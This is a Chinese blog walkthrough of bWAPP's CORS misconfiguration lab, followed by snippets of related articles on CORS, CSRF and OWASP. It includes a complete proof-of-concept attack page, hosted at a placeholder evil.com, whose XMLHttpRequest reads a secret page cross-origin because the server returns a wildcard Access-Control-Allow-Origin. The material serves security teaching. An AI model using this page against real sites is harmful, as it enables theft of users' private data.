代码编织梦想

CORS

CORS(Cross-origin resource sharing),又称跨域资源共享。CORS的内容不叙述,可以阅读MDN文档。或者,阅读这篇文章:跨域资源共享 CORS 详解,同时还需要了解同源策略。CORS是一种实现ajax跨域加载资源的机制,如果CORS配置不当,就可能出现安全问题。是否存在安全问题,需要关注的响应头是:Access-Control-Allow-Origin,它确定了可以访问页面的来源。

BWAPP的CORS测试

low级别

1、主页面,点击 secret 跳转页面。

在这里插入图片描述2、假设这是用户的页面,攻击者的目的是盗取里面的sercet内容。查看请求这个页面时的HTTP响应头,从Access-Control-Allow-Origin头可以看出服务器配置了CORS," * "表示所有的源服务器都可以加载这个页面上的资源。既然如此,攻击者直接发送一个自己构造的页面链接(也许攻击者自己站点的一个页面)给用户,用户点击后,攻击页面使用ajax就可以直接读取另一个网站的敏感信息。

网站页面
HTTP响应头3、攻击页面:http://www.evil.com/test.html

<!DOCTYPE html>
<html lang="en">
<head></head>
<body>
    <script>
        window.onload = function(){
            var xhr =new XMLHttpRequest();                     // 创建AJAX的对象
            // 设置使用的请求方式
            xhr.open('get','http://192.168.253.132/bwapp/bwapp/secret-cors-1.php' ,true); 
            xhr.send();                    // 发送请求

            xhr.onreadystatechange=function(){
                if(xhr.readyState === 4 ){    // 状态 4 表示服务器已响应
                    // 判断正常的响应结果的状态码
                    if(xhr.status >=200 && xhr.status<300 || xhr.status === 304){
                        console.log(xhr.responseText);          // 获取响应体内容
                    }else{
                        console.log('0');
                    }
                }
            }
        }
    </script>
</body>
</html>

4、用户点击这个链接,加载test.html页面,里面的js代码就会执行,然后向目标页面(要盗取数据的页面)发送请求,处理响应结果。可以看到,控制台输出的信息就是另一个网站的页面信息。这就说明了攻击者能窃取数据。

攻击者服务器上的页面

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/shawdow_bug/article/details/125308091

spring、spring-boot、spring-security中对cors(跨域资源共享)的支持_盲目的拾荒者的博客-爱代码爱编程

       出于安全原因,浏览器禁止AJAX调用当前域之外的域的资源。跨源资源共享(CORS)是由大多数浏览器实现的W3C规范,允许您指定哪些类型的跨域请求是被授权的,而不是基于IFRAME或JSONP的不安全且功能较差的工作区。      Spring MVC HandlerMapping提供了对CORS的内置支持。在成功地将请求映射到处理程序之后,

find-sec-bugs 漏洞范例-爱代码爱编程

第一章 Find-sec-bugs简介 插件介绍: Find-Sec-Bugs 是一款本地 bug 扫描插件 “FindBugs-IDEA” 的 Java 安全漏洞规则扩展库,它支持在多种主流 IDE 环境进行安装:Ecl

Web漏洞总结: OWASP Top 10-爱代码爱编程

本文原创,更多内容可以参考: Java 全栈知识体系。如需转载请说明原处。 开发安全 - OWASP Top 10 在学习安全需要总体了解安全趋势和常见的Web漏洞,首推了解OWASP,因为它代表着业内Web安全漏洞的趋势。@pdai OWASP简介 OWASP(开放式web应用程序安全项目)关注web应用程序的安全。OWASP

CSRF简述-跨域解决方案CORS-爱代码爱编程

一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。 二.CSRF可以做什么? 你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发

2020-web前端-你不知道的你那些小知识点-http&ajax-爱代码爱编程

1.TCP/IP 的三次握手和四次挥手 三次握手: 第一次握手: 客户端向服务端发送 SYN 码数据包,表示客户端要求和服务端建立连接; 第二次握手: 服务端收到客户端的连接请求后,会发送 ACK 数据包给客户端, 表示你的连接 请求已经收到,询问客户端是否真的需要建立连接; 第三次握手:客户端收到 ACK 码以后会检验是否正确, 如

前端的那些事--跨域-爱代码爱编程

跨域 前端程序员,一定少不了接触跨域,在你写一个ajax请求一个网站时,发现报错提示中含有Cross-Origin,那肯定就是你遇到跨域了,不过,这个请求已经是发出去了的,服务端也接收到并处理了,但是返回的响应结果不是浏览器想要的结果,所以浏览器将这个响应的结果给拦截了,至于为什么浏览器不满意结果,就得说说同源策略 同源策略 诞生 同源策略是由Ne

关于CORS利用的一些方法-爱代码爱编程

嗨,大家好 我叫Ayoub,我是摩洛哥的安全研究员。在本文中,我将描述两种如何利用CORS错误配置的情况:第一种情况基于XSS,需要在范围之外进行思考,第二种情况是基于高级CORS利用技术。 注意:在开始阅读本文之前,您需要对CORS是什么以及如何利用错误配置有基本的了解。以下是一些很棒的帖子,可让你了解他的用法: https://www.geekboy.

15 张精美动图全面讲解 CORS-爱代码爱编程

前言: 本文翻译自 Lydia Hallie 小姐姐写的 ✋🏼🔥 CS Visualized: CORS,她用了大量的动图去解释 CORS 这个概念,国内还没有人翻译本文,所以我在原文的理解上翻译了本文并修改了一些错误,希望能帮到大家。 觉得翻译的不错一定要点赞哦,谢谢你,这对我真的很重要! 🌟 注:原文的动图均为 keynote 制作

理解同源(Same-Origin Policy)和跨域(CORS)-爱代码爱编程

写在前面 本文作为我这几天阅读相关文章的一个小结。 什么是浏览器的同源策略? 同源策略是浏览器的一种为了保护用户信息安全而制订的安全策略。 为什么要有同源保护? 既然是一种安全策略,那肯定是没有它的时候,会有安全问题,也就是说,没有它 = 不安全,有它 = 有了基本的安全保障,下面为了解释没有同源保护存在时可能出现的安全问题,先解释cookie。

CORS 请求未能成功_15 张精美动图全面讲解 CORS-爱代码爱编程

前言: 本文翻译自 Lydia Hallie 小姐姐写的 ✋ CS Visualized: CORS,她用了大量的动图去解释 CORS 这个概念,国内还没有人翻译本文,所以我在原文的理解上翻译了本文并修改了一些错误,希望能帮到大家。 觉得翻译的不错一定要点赞哦,谢谢你,这对我真的很重要! 注:原文的动图均为 keyno

cors java 安全问题_Java利用cors实现跨域请求-爱代码爱编程

由于ajax本身实际上是通过XMLHttpRequest对象来进行数据的交互,而浏览器出于安全考虑,不允许js代码进行跨域操作,所以会警告 网站开发,在某些情况下需要用到跨域。 什么是跨域? 跨域,指的是浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器对JavaScript施加的安全限制。 ajax本身实际上是通过XMLHt

Web应用程序中的常见安全漏洞-爱代码爱编程

在讨论如何在应用程序中应用安全性之前,您应该首先了解如何保护应用程序。为了进行恶意操作,攻击者会识别并利用应用程序的漏洞。我们经常将漏洞描述为一种弱点,它可以允许执行不需要的操作,通常带有恶意意图。 了解漏洞的一个很好的起点就是了解开放Web应用程序安全项目,也称为 OWASP(https://www.owasp.org)。 在 OWASP上,您将找到应

CSRF漏洞详解-爱代码爱编程

文章目录 注意什么是CSRFCSRF的成因CSRF的危害CSRF的利用CSRF的测试常见CSRFCSRF的预防CSRF练习 注意 任何网站以及互联网功能的本质:数据包的传递。CSRF的核心是让客户端的浏览器去访问,SSRF核心是让服务器去访问。XSS是窃取cookie,CSRF是利用cookie。浏览器CORS【跨站资源共享】的问题,不同的网